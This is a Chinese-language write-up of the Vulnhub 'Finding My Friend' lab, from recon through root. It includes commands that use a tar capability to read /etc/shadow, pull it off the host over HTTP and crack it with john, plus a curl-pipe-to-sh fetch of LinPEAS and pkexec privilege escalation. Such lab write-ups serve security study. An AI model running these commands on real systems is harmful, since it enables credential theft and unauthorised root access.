首页 > 其他分享 >Vulnhub:Finding My Friend

Vulnhub:Finding My Friend

时间:2024-09-07 22:49:28浏览次数:5  
标签:tar get parth 提权 Vulnhub Finding shadow txt My

靶机下载地址

靶机搭建时可能的报错

靶机下载成功后在virtualbox中打开,启动虚拟机时报错virtualbox e_fail 0x80004005,这个错误code说明可能存在配置错误、操作系统不兼容、硬件问题等。该靶机属于串口路径错误

我的解决办法是:靶机设置——》串口——》全部取消。

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.172

端口扫描

nmap 192.168.31.172 -A -p- -T4

开放端口有21,22,80。

目录扫描

访问80端口,是一段对话,内容是Rohit请求Admin找honey,Admin给出提示:KOKO是honey的朋友。

得到了三个人名,并提示找KOKO,目录扫描。

dirsearch -u http://192.168.31.172

访问/images,得到四张图片,经过测试没有图片隐写。

上字典。

gobuster dir -u http://192.168.31.172/friend -w directory-list-2.3-medium.txt -x html,php,js,jpg,png,txt

发现隐藏目录/friend。

访问/friend,是KOKO和Rohit的对话,KOKO指向John的note,并说:

笔记在哪儿,最初以为还有其他隐藏目录,一顿扫描浪费了时间。最后发现上面的对话已经指出提示就在这里,F12检查KOKO最后一句话,发现一段隐藏字符串。

NjMgNjEgNzAgNzQgNzUgNzIgNjUgM2EgNjggNzUgNmUgNzQgNjkgNmUgNjc=

base64解码得到一串16进制,经过16进制转换后得到capture:hunting,应该是用户名和密码。

63 61 70 74 75 72 65 3a 68 75 6e 74 69 6e 67

渗透

FTP登录

得到一组用户名和密码,靶机开启ssh和ftp服务,尝试远程连接。最终这组用户名密码成功连接ftp服务器。

批量下载ftp服务器上的所有文件mget *,注意看看有没有隐藏文件。(mget *不会下载隐藏文件,又被坑了)。这里有四个文件:

flag1.txt

tryhackme{Th1s1sJustTh3St4rt}

note.txt提示有图片隐写。

I have an image but I’m not able to open it. Can you help me to open it?

getme是一段乱码,用16进制编辑器打开对比文件头和文件尾确认这是一张png图片,修改后缀名后图片仍然无法查看。

继续看.get.jpg,根据前面note.txt的提示直接上隐写工具steghide,提示需要密码。

steghide --extract -sf .get.jpg

stegseek可以解密并提取隐写内容。得到密码并提取隐藏信息到.get.jpg.out中。

stegseek .get.jpg

cat get.jpg.out,摩斯密码,解密得到一组用户名密码JOHN:BOOGIEWOOGIE

.--- --- .... -. ---... -... --- --- --. .. . .-- --- --- --. .. .

ssh登录

.get.jpg提取的用户名和密码用来远程连接ssh,注意要小写,即john:boogiewoogie

get flag2.txt,clue.txt给出提示要找出honey就读的大学,而parth知道。

好的,接下来就是需要到parth用户目录中找线索,发现没有查看权限。

需要拿到parth的权限才行,常规的提权方案走一遍,例如sudo -l,提示:Sorry, user john may not run sudo on findingmyfriend.john没有sudo权限。那怎么办,当前还已知capture的密码,切换到capture用户,同样办法尝试提权也显示没有sudo权限。

parth

用尽手段不知道如何拿到parth权限,最后学到了一个capability提权。

capability:Linux内核2.1之后引入了capability概念,这个机制的目的是分割root用户的权限,普通用户也可以做root用户才能完成的操作。在执行特权操作时,如果线程的有效身份不是root,就检查其是否具有该特权操作的capabilities,以此决定是否可以执行特权操作。

一些常见的特权操作及其对应的capability:

capability名称描述
CAP_CHOWN修改文件所有者的权限
CAP_FOWNER忽略文件属主ID必须和进程用户ID相匹配的限制
CAP_DAC_READ_SEARCH忽略文件读及目录搜索的DAC访问限制
CAP_SETUID允许改变进程的UID

可以通过以下指令搜索设置了capabilities的可执行文件

getcap -r / 2>/dev/null

发现tar命令有cap_dac_read_search权限。cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用这个特性我们可以读取系统中的敏感信息。

利用tar查看敏感文件内容,压缩/etc/shadow到shadow.tar中,通过破解shadow获取parth用户的密码。

cd /tmp
/etc/fonts/tar -cvf shadow.tar /etc/shadow

开启简易http服务,攻击下载shadow.tar。

# 靶机
python3 -m http.server
# 攻击机
wget http://192.168.31.172:8000/shadow.tar

下载完成后解压缩。

tar -xvf shadow.tar

使用john破解shadow文件。得到parth:johnnydepp

john shadow -w=/usr/share/wordlists/rockyou.txt

get flag3.txt,还有提示指向parth的家目录。

提权-pkexec

sudo -l,/home/honey/.../backup.py,利用不了。

使用LinPEAS枚举在Linux系统上提升权限的所有可能。可以使用curl命令直接从GitHub执行。

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-
awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

运行后重点关注红字黄底部分。经过百度搜索知道可能是pkexec提权。

pkexec提权的使用前提:

  1. 用户在sudo组中。

  2. 知道用户密码。

当前知道用户密码,需要确认用户是否在sudo组中,id命令查看,符合。

pkexec提权步骤

  1. 先开两个parth终端。

  2. 终端1查看当前终端号,echo $$,。

  3. 终端2用pkttyagent代理终端,pkttyagent --process 终端号

  4. 终端1执行提权命令,pkexec su

  5. 终端2选择用户,输入用户密码。

按步骤执行后即提权成功。

get flag4.txt!

标签:tar,get,parth,提权,Vulnhub,Finding,shadow,txt,My
From: https://blog.csdn.net/Aukum/article/details/142002672

相关文章

  • [Mysql]慢查询优化
    慢查询可能的原因SQL没加索引很多时候,我们的慢查询,都是因为没有加索引。如果没有加索引的话,会导致全表扫描的。因此,应考虑在where的条件列,建立索引,尽量避免全表扫描。反例:select*fromuser_infowherename='捡田螺的小男孩公众号';正例://添加索引altertableuser_......
  • MySQL8.0Windows安装说明
    目录MySQL8.0Windows安装说明下载并安装压缩包初始化数据安装服务操作服务设置密码windows界面服务管理dll库缺失问题将MySQL添加全局路径MySQL8.0Windows安装说明下载并安装压缩包下载地址:https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.16-winx64.zip安装:解压......
  • 828华为云征文|华为云Flexus X实例MySQL性能加速评测及对比
    目录前言一、Flexus云服务器X介绍1.1Flexus云服务器X实例简介1.2Flexus云服务器X实例特点1.3Flexus云服务器X实例场景需求二、Flexus云服务器X购买2.1FlexusX实例购买2.2购买MySQL加速镜像2.3重置密码2.4 登录服务器三、FlexusX实例加速MySQL测试3.1sys......
  • A163-Springboot Vue Mysql校园社团信息管理
    介绍SpringbootVueMysql校园社团信息管理(毕业论文10000字以上,共29页,程序代码,MySQL数据库)【运行环境】IDEA,JDK1.8,Mysql,Node,Vue【技术栈】Java,SpringBoot,Jquery,Layui,MYSQL,HTML,CSS,JAVASCRIPT,Ajax......
  • mybatis事务详解
    对于数据库事务,我们都不陌生,数据库的事务(Transaction)是数据库管理系统执行过程中的一个逻辑单位,也是一个不可分割的工作单位。它包含一个或多个SQL语句,这些语句要么全部执行,要么全部不执行。事务是一个原子操作单元,其对数据的修改要么全都执行,要么全都不执行。那么我们就得来看看这......
  • mysql sql同一个字段多个行转成一个字段查询
    mysqlsql同一个字段多个行转成一个字段查询如果您想要将MySQL中同一个表的不同行的值合并到一个字段中,您可以使用GROUP_CONCAT()函数。这个函数可以将多个行的值连接起来,并且可以通过SEPARATOR关键字指定分隔符。以下是一个简单的例子,假设我们有一个名为users的表,它有一个name字......
  • 11. MyBatis的一级缓存和二级缓存有什么区别?如何配置和使用二级缓存?
    在MyBatis中,缓存机制用于减少数据库访问次数,提高应用程序性能。MyBatis提供了两级缓存:一级缓存和二级缓存。1.一级缓存(LocalCache)作用范围:一级缓存作用于SqlSession级别。即在同一个SqlSession中执行相同的SQL查询,如果查询参数相同,MyBatis会从缓存中直接返回......
  • 13. 说说 MyBatis 的缓存机制?
    MyBatis提供了一级缓存和二级缓存两种缓存机制,用于提高应用程序的性能,减少数据库的访问次数。缓存机制是MyBatis的一个重要特性,通过缓存可以在一定程度上减少对数据库的访问,从而提高查询性能。1.一级缓存(LocalCache)作用范围:一级缓存是MyBatis默认开启的缓存机制,作用......
  • MySQL的安装4000字详解(小白也能看得懂!!!!)
    MySQL的安装与使用2.1.1MySQL发展历史和版本2.2.1MySQL的安装与配置1.下载MySQL安装文件2.选择下载版本3.安装配置MySQL4.选择安装路径,推荐换到D盘!!!!!5.执行安装6.完成安装,点击next7.配置8.设置账户9.配置服务器10.开始执行11设置router配置,默认即可12.输入密码,检查是否......
  • MySQL——视图(二)视图管理(5)修改视图
    1.使用CREATEORREPLACEVIEW语句修改视图        在MySQL中,使用CREATEORREPLACEVIEW语句修改视图,其基本语法格式如下所示:CREATE[ORREPLACE][ALGORITHM={UNDEFINED|MERGE|TEMPTABLE}]VIEWview_name[(column_list)]ASSELECT_statement[WITH[CASCADE......